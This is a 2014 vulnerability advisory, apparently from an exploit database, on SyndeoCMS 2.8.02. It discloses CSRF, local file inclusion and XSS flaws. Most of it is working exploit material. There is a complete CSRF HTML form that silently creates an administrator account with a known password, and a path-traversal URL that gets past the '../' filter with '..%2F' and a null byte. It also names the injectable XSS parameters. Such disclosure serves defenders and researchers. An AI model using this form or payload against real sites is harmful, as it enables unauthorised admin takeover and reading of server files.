syndeocms 2.8.02 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
syndeocms 2.8.02 - Multiple Vulnerabilities including CSRF, LFI, XSS, and Stored XS

                                                &#39;&#39;&#39;
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ &#60;  Day 4 (0day)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

&#39;&#39;&#39;
 
Title  : syndeocms 2.8.02 Multiple Vulnerabilities
Affected Version : syndeocms &#60;= 2.8.02 
Vendor  Site   : http://www.syndeocms.org/
 
Discovery : abysssec.com
  
 
Description :
 
This CMS have many critical vulnerability that we refere to some of those here:
 
 
Vulnerabilites :

1. CSRF - Add Admin Account:

&#60;html&#62;
&#60;body&#62;
&#60;form onsubmit=&#34;return checkinput(this);&#34; action=&#34;index.php?option=configuration&suboption=users&modoption=save_user&user_id=0&#34; name=&#34;form&#34; method=&#34;POST&#34;&#62;
&#60;input class=&#34;textfield&#34; type=&#34;hidden&#34;  name=&#34;fullname&#34; value=&#34;csrf&#34;/&#62;
&#60;input class=&#34;textfield&#34; type=&#34;hidden&#34;  name=&#34;username&#34; value=&#34;csrf_admin&#34;/&#62;
&#60;input class=&#34;textfield&#34; type=&#34;hidden&#34;  name=&#34;password&#34; value=&#34;admin123&#34;/&#62;
&#60;input class=&#34;textfield&#34; type=&#34;hidden&#34;  name=&#34;email&#34; value=&#34;[email protected]&#34;/&#62;
&#60;select name=&#34;editor&#34;&#62;
&#60;option value=&#34;1&#34; selected=&#34;&#34;&#62;FCKEditor&#60;/option&#62;
&#60;option value=&#34;2&#34;&#62;Plain text Editor&#60;/option&#62;
&#60;/select&#62;
&#60;input type=&#34;checkbox&#34; checked=&#34;&#34; name=&#34;initial&#34; value=&#34;1&#34;/&#62;
&#60;input class=&#34;textfield&#34; type=&#34;hidden&#34; value=&#34;&#34;  name=&#34;sections&#34;/&#62;
&#60;input type=&#34;radio&#34; name=&#34;access_1&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;radio&#34; name=&#34;access_2&#34; value=&#34;1&#34;/&#62;
.
.
.
&#60;input type=&#34;radio&#34; name=&#34;access_15&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;radio&#34; name=&#34;m_access[0]&#34; value=&#34;1&#34;/&#62;
.
.
.
&#60;input type=&#34;radio&#34; name=&#34;m_access[21]&#34; value=&#34;1&#34;/&#62;
&#60;input class=&#34;savebutton&#34; type=&#34;submit&#34; name=&#34;savebutton&#34; value=&#34;   Save&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;
-------------------------------------
2. LFI (Local File Inclusion):

http://localhost/starnet/index.php?option=configuration&suboption=configuration&modoption=edit_css&theme=..%2Findex.php%00

in starnet\core\con_configuration.inc.php file, As you may noticed theme parameter is checked for &#34;../&#34; and could be bypass by with &#34;..%2F&#34;:
line 61-73:
switch ($modoption) // start of switch
{
	case save_css :
	
		if (IsSet ($_POST[&#39;content&#39;]))
		{
			$content = $_POST[&#39;content&#39;];
		}
		
		if (strpos($theme, &#34;../&#34;) === FALSE) //check if someone is trying to fool us.
		{
			$filename = &#34;themes/$theme/style.css&#34;;
-------------------------------------
3. xss:
in starnet\core\con_alerts.inc.php file &#34;email&#34; parameter when &#34;modoption&#34; is &#34;save_alert&#34;:
http://localhost/starnet/index.php?option=configuration&suboption=alerts&modoption=edit_alert&alert=2

4. stored xss:
in starnet\core\con_alerts.inc.php file &#34;name&#34; parameter when &#34;modoption&#34; is &#34;save_alert&#34;:
http://localhost/starnet/index.php?option=configuration&suboption=alerts&modoption=edit_alert
------------------------------
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1